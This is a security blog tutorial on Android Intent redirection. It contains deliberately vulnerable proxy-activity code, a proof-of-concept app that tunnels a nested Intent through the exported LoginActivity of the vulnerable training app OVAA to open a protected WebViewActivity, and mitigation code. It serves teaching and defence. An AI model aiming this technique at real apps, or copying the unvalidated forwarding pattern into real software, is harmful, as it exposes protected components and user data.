BOOK THIS SPACE FOR AD
ARTICLE ADبِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ
in the name of Allah, the most gracious, the most merciful
My name is Anas Eladly ( 0x3adly ), Security engineer and Bug bounty hunter.
Today we will be discussing one of the most common vulnerabilities found in android applications “ Intent redirection “.
First off lets start by answering the question “ what is intent redirection ? “
To answer this question we first need to define what is a proxy activity
is an intermediate activity that receives an Intent from one source (often user-controlled), extracts and processes its extras, and then forwards or redirects it to another component (such as an activity, service, or content provider).
public class ProxyActivity extends Activity {@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// Retrieve user-controlled Intent
Intent receivedIntent = getIntent().getParcelableExtra("EXTRA_INTENT");
// Forward the Intent
if (receivedIntent != null) {
startActivity(receivedIntent);
}
}
}
As you can see in the example, this proxy activity receives an Intent, extracts its extras, and then blindly forwards it without validation.
While proxy activities are often used to handle Intents dynamically, improper validation can lead to Intent Redirection attacks.
Android intent Redirection is a security vulnerability that occurs when an application blindly processes or forwards a user-controlled Intent without verifying its source or destination. This can happen due to proxy activities that blindly forwards Intents or when an application improperly parses Intents provided by the user.
If exploited, an attacker can manipulate the Intent to launch internal components that should otherwise be restricted, such as non-exported activities, services, or content providers.
We will demonstrate this attack using Ovaa, an intentionally vulnerable Android application available on GitHub.
Now let’s see this attack in action:
First let’s take a look into the application’s components that we are targeting:
LoginActivity: activity that handles the login logic then redirects the user (the vulnerable activity)WebViewActivity: Non-exported activity that loads a WebView.here is the manifest file of the components:
<activity android:name="oversecured.ovaa.activities.LoginActivity"><intent-filter>
<action android:name="oversecured.ovaa.action.LOGIN"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
</activity>
<activity
android:name="oversecured.ovaa.activities.WebViewActivity"
android:exported="false">
<intent-filter>
<action android:name="oversecured.ovaa.action.WEBVIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
</activity>
Our main focus will be LoginActivity activity
as you can see it is a normal activity that handles the login process but there is one interesting method to look at which is onLoginFinished().
This method is responsible for redirecting the user after login.
It is a good example for a proxy method implementation and the intent redirection attack.
private void onLoginFinished() {Intent redirectIntent = (Intent) getIntent().getParcelableExtra(INTENT_REDIRECT_KEY);
if (redirectIntent != null) {
startActivity(redirectIntent);
} else {
startActivity(new Intent(this, (Class<?>) MainActivity.class));
}
finish();
}
as you can see this method has 3 main points:
Primary Intent: The activity receives an external Intent through getIntent(), which is the expected behavior.Redirect Intent: The method extracts another Intent from getParcableExtra(INTENT_REDIRECT_KEY), treating it as a secondary Intent.Execution of the Second Intent: If the redirectIntent is provided, it is directly executed within the application context.An attacker can craft an Intent that includes another Intent as an extra payload (a recursive Intent). Since onLoginFinished() executes this extra Intent without validation, the malicious Intent can:
Launch non-exported activities that should not be accessible.Gain access to protected content providers and retrieve sensitive data.I tried explaining the attack workflow with these illustrations, hope they help.
Now that we understand how the attack works, here is our POC application:
Intent MalicousIntent = new Intent();MalicousIntent.setComponent(new ComponentName("oversecured.ovaa", "oversecured.ovaa.activities.LoginActivity"));
Intent Hiddenintent = new Intent();
Hiddenintent.setComponent(new ComponentName("oversecured.ovaa","oversecured.ovaa.activities.WebViewActivity"));
Hiddenintent.putExtra("url","https://example.com");
MalicousIntent.putExtra("redirect_intent",Hiddenintent);
startActivity(MalicousIntent);
As you can see our malicious application sends 2 intents:
The first is sent to the exported vulnerable LoginActivityThe second intent starting WebViewActivity which is a protected componentLaunching this attack we can see we gained access to the protected WebViewActivity !
Note that this works with any protected components including protected content providers / services and activities !
Now how will the developer fix this issue ?
To prevent Intent Redirection Attacks, developers need to validate and restrict how Intents are processed.
The following best practices can help secure the onLoginFinished() method and prevent attackers from exploiting the proxy activity.
Also both google and android provides good blogs on how to mitigate this attack
Validate the source of the intent
Before forwarding an Intent, the application must verify its origin to ensure it comes from a trusted source.
if (redirectIntent != null) {
String callingPackage = getCallingActivity() != null ? getCallingActivity().getPackageName() : "";
if ("com.trusted.app".equals(callingPackage)) { // ✅ Ensure only trusted sources can send the intent
startActivity(redirectIntent);
} else {
Log.e("SECURITY", "Unauthorized Intent redirection attempt blocked.");
}
}
Enforce Explicit Intent Validation
Instead of blindly forwarding any received Intent, enforce strict whitelisting of allowed activities.
Intent redirectIntent = (Intent) getIntent().getParcelableExtra(INTENT_REDIRECT_KEY);if (redirectIntent != null) {
ComponentName targetComponent = redirectIntent.getComponent();
if (targetComponent != null) {
String targetActivity = targetComponent.getClassName();
// ✅ Allow only specific activities to be redirected
if (targetActivity.equals("com.example.app.MainActivity") ||
targetActivity.equals("com.example.app.DashboardActivity")) {
startActivity(redirectIntent);
} else {
Log.e("SECURITY", "Blocked unauthorized activity redirection: " + targetActivity);
}
}
}